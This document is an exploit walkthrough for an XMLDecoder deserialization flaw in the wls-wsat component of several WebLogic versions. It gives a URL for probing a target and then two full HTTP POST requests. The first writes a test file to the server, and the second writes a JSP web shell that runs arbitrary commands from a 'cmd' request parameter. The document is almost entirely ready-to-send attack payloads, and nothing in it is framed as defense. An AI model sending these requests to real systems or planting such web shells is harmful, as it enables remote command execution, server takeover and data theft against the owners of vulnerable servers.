Affected version
Affected WebLogic version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0
Exploit
1: Preliminary judgment visit
http://x.x.x.x:7001/wls-wsat/CoordinatorPortType11, the
existence of the following figure indicates that there may be loopholes
2: Construct a POST package for testing and write test.txt
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 1353
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/cmd.jsp</string><void method="println">
<string>
xmldecoder_vul_test
</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
3: write cmd pony
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 1353
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/cmd.jsp</string><void method="println">
<string>
<![CDATA[
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
]]>
</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
